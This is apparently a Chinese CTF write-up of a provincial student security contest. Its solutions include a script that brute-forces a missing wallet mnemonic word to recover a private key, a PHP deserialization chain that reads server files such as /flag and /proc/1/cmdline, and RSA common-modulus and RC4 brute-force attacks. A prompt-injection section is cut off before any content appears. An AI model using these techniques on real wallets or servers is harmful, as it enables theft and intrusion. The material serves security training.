感谢队友带飞
第八届浙江省大学生网络与信息安全竞赛 初赛 WriteUp By A1natas
Dr0n’s blog: 第八届浙江省大学生网络与信息安全竞赛预赛-wp
misc#
5-2 RecoverWallet#
缺少一个助记词,遍历字典爆破
from mnemonic import Mnemonic
from bip32utils import BIP32Key
from web3 import Web3
# 定义硬化索引偏移量
BIP32_HARDEN = 0x80000000
# 获取BIP39英文单词列表
mnemo = Mnemonic("english")
wordlist = mnemo.wordlist
# 基础助记词单词,其中第5个单词未知
base_words = ["ankle", "assume", "estate", "permit", None, "eye",
"fancy", "spring", "demand", "dial", "awkward", "hole"]
target_suffix = "700f80" # 目标地址后缀
# 遍历所有可能的单词
for word in wordlist:
base_words[4] = word # 替换第5个单词(索引4)
mnemonic = " ".join(base_words)
# 检查助记词有效性(校验和)
if not mnemo.check(mnemonic):
continue
# 生成种子
seed = mnemo.to_seed(mnemonic)
# 从种子生成BIP32根密钥
root_key = BIP32Key.fromEntropy(seed)
# 推导路径: m/44'/60'/0'/0/0
# 44' (硬化)
child_key = root_key.ChildKey(44 + BIP32_HARDEN)
# 60' (硬化)
child_key = child_key.ChildKey(60 + BIP32_HARDEN)
# 0' (硬化)
child_key = child_key.ChildKey(0 + BIP32_HARDEN)
# 0 (非硬化)
child_key = child_key.ChildKey(0)
# 0 (非硬化)
child_key = child_key.ChildKey(0)
# 获取私钥
private_key = child_key.PrivateKey()
private_key_hex = private_key.hex()
# 从私钥生成以太坊地址
account = Web3().eth.account.from_key(private_key_hex)
address = account.address
# 检查地址是否以目标后缀结尾
if address.lower().endswith(target_suffix):
print("找到匹配的助记词和地址:")
print("助记词:", mnemonic)
print("地址:", address)
break

web#
1-2 EzSerialize#
- Php 反序列化,用下面的代码读一下/flag
<?php
class User
{
private $name;
private $role;
public function __construct($name, $role)
{
$this->name = $name;
$this->role = $role;
}
public function __toString()
{
return $this->role->getInfo();
}
}
class Admin
{
private $command;
public function __construct($command)
{
$this->command = $command;
}
public function __call($method, $args)
{
if ($method === "getInfo") {
return $this->command->execute();
}
return "Method $method not found";
}
}
class FileReader
{
private $filename;
public function __construct($filename)
{
$this->filename = $filename;
}
public function execute()
{
// 危险操作:直接读取文件
if (file_exists($this->filename)) {
return "<pre>" .
htmlspecialchars(file_get_contents($this->filename)) .
"</pre>";
} else {
return "文件不存在: " . $this->filename;
}
}
}
$fr = new FileReader("/flag");
$admin = new Admin($fr);
$user = new User("Alice", $admin);
echo base64_encode(serialize($user));
内容为空,读取/proc/1/cmdline 看看有没有线索:
接着读取/start.sh:
把 flag 写入 flag.php 了,所以读取 flag.php 就好了:
crypto#
4-1 RSA_Common_Attack#
看出来是共模攻击,通过扩展欧几里得公式可以得出:
Exp:
from Crypto.Util.number import *
import gmpy2
n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609
e1 = 65537
e2 = 10001
c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504
s0, s1, s2 = gmpy2.gcdext(e1, e2)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
flag = long_to_bytes(gmpy2.iroot(m, s0)[0])
print(flag)

4-2 ez_stream#
一看 flag 中的未知数只有 11 个,且前面的 S,K,N 都是固定的,就可以开始爆破
Exp:
from Crypto.Util.number import *
import gmpy2
tt = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114]
for a in [
"a",
"b",
"c",
"d",
"e",
"f",
"g",
"h",
"i",
"j",
"k",
"l",
"m",
"n",
"o",
"p",
"q",
"r",
"s",
"t",
"u",
"v",
"w",
"x",
"y",
"z",
"A",
"B",
"C",
"D",
"E",
"F",
"G",
"H",
"I",
"J",
"K",
"L",
"M",
"N",
"O",
"P",
"Q",
"R",
"S",
"T",
"U",
"V",
"W",
"X",
"Y",
"Z",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"_",
]:
flag = "DASCTF{rc4_is_easy" + a
t = [ord(letter) for letter in flag]
N, K, S = [256, [0] * 256], [0] * 256, [i for i in range(256)]
key = "love"
for i in range(256):
S[i], K[i] = i, ord(key[i % len(key)])
j = 0
for i in range(256):
j = (j + S[i] + K[i]) % 256
S[i], S[j] = S[j], S[i]
i, j = 0, 0
for k in range(len(t)):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t[k] ^= S[(S[i] + S[j]) % 256]
if t == tt:
print(a)

Flag 即为 DASCTF{rc4_is_easy}
data security#
6-1 dsEnData#
写脚本还原
import base64
import csv
def decode(encoded_data, K="a1a60171273e74a6"):
data = base64.b64decode(encoded_data)
res = b""
for i in range(len(data)):
# 计算密钥索引: (i+1) & 15
c = K[(i + 1) & 15]
# 异或操作解密
res += bytes([data[i] ^ ord(c)])
return res.decode("utf-8")
def decrypt_csv(input_file, output_file):
with open(input_file, "r", encoding="utf-8") as csv_in:
reader = csv.reader(csv_in)
header = next(reader)
rows = []
for row in reader:
decrypted_row = []
for field in row:
decrypted_field = decode(field)
decrypted_row.append(decrypted_field)
rows.append(decrypted_row)
with open(output_file, "w", encoding="utf-8", newline="") as csv_out:
writer = csv.writer(csv_out)
writer.writerow(header)
writer.writerows(rows)
if __name__ == "__main__":
input_csv = "encoded_data.csv"
output_csv = "decrypted_data.csv"
decrypt_csv(input_csv, output_csv)
print("解密完成!解密后的数据已保存到", output_csv)

6-2 dssql#
本地没有装 mysql,所以只能用 python 脚本进行清洗了
import string, time
file = open("data.sql", "r").readlines()
def load_roles():
roles = file[9026:9031]
for i in range(len(roles)):
roles[i] = roles[i][28:][:-2].split(", ")
roles[i][0] = int(roles[i][0])
for j in range(1, len(roles[i])):
roles[i][j] = roles[i][j][1:-1]
roles[i][2] = roles[i][2][:-1].split(",")
return roles
def load_users():
users = file[9049:11049]
for i in range(len(users)):
users[i] = users[i][28:][:-2].split(", ")
users[i][0] = int(users[i][0])
for j in range(1, len(users[i])):
users[i][j] = users[i][j][1:-1]
users[i][-1] = users[i][-1][:-1]
return users
def load_opers():
opers = file[34:9012]
for i in range(len(opers)):
opers[i] = opers[i][33:][:-2].split(", ")
opers[i][0] = int(opers[i][0])
opers[i][1] = int(opers[i][1])
for j in range(2, len(opers[i])):
opers[i][j] = opers[i][j][1:-1]
opers[i][-1] = opers[i][-1][:-1]
return opers
def verify_idcard(idcard: str) -> bool:
if len(idcard) != 18:
return False
weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_digits = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]
total = 0
for i in range(17):
if not idcard[i].isdigit():
return False
total += int(idcard[i]) * weights[i]
mod = total % 11
return idcard[17].upper() == check_digits[mod]
def verify_bankcard(bankcard: str) -> bool:
if not bankcard.isdigit() or not (16 <= len(bankcard) <= 19):
return False
digits = [int(d) for d in bankcard]
checksum = digits.pop()
digits.reverse()
for i in range(len(digits)):
if i % 2 == 0:
digits[i] *= 2
if digits[i] > 9:
digits[i] -= 9
total = sum(digits)
calculated_checksum = (10 - (total % 10)) % 10
return checksum == calculated_checksum
def verify_date(date_str: str, birth: str) -> bool:
# 在 2015/1/1 到 2025/10/31 之间
try:
d = time.strptime(date_str, "%Y/%m/%d")
if d < time.strptime("2015/1/1", "%Y/%m/%d") or d > time.strptime(
"2025/10/31", "%Y/%m/%d"
):
return False
# 出生日期不能晚于注册日期
bd = time.strptime(birth, "%Y%m%d")
if bd > d:
return False
return True
except Exception:
return False
def check_info_err(users: list):
errs = []
for user in users:
# 姓名违规
if (
(not (2 <= len(user[1]) <= 4))
or (all(ch in string.printable for ch in user[1]))
or user[1] == ""
):
errs.append(user[1])
continue
# 手机号违规
if (
(not len(user[2]) == 11)
or (not user[2].isdigit())
or (not user[2].startswith(("13", "14", "15", "16", "17", "18", "19")))
):
errs.append(user[1])
continue
# 身份证号验证
if (
(not len(user[3]) == 18)
or (
not (
user[3][:17].isdigit()
and (user[3][17].isdigit() or user[3][17] in ["X", "x"])
)
)
or (not verify_idcard(user[3]))
):
errs.append(user[1])
continue
# 银行卡号验证
if (
(not (16 <= len(user[4]) <= 19))
or (not user[4].isdigit())
and (not verify_bankcard(user[4]))
):
errs.append(user[1])
continue
# 注册日期验证
if not verify_date(user[5], user[3][6:14]):
errs.append(user[1])
return errs
def check_priv_err(opers: list, roles: list, users: list):
errs = []
for oper in opers:
user = users[oper[1] - 1]
role = user[-1]
role_privs = []
for i in range(len(roles)):
if roles[i][1] == role:
role_privs = roles[i][2]
break
if oper[3] not in role_privs and user[1] not in errs:
print(user, oper, role_privs)
errs.append(user[1])
return errs
roles = load_roles()
users = load_users()
opers = load_opers()
with open("output.csv", "w") as f:
for err in check_info_err(users):
f.write(f"{err},信息违规\n")
for err in check_priv_err(opers, roles, users):
f.write(f"{err},操作违规\n")

ai security#
8-2 ez_AI_inject#
提示词注入
系统提示词: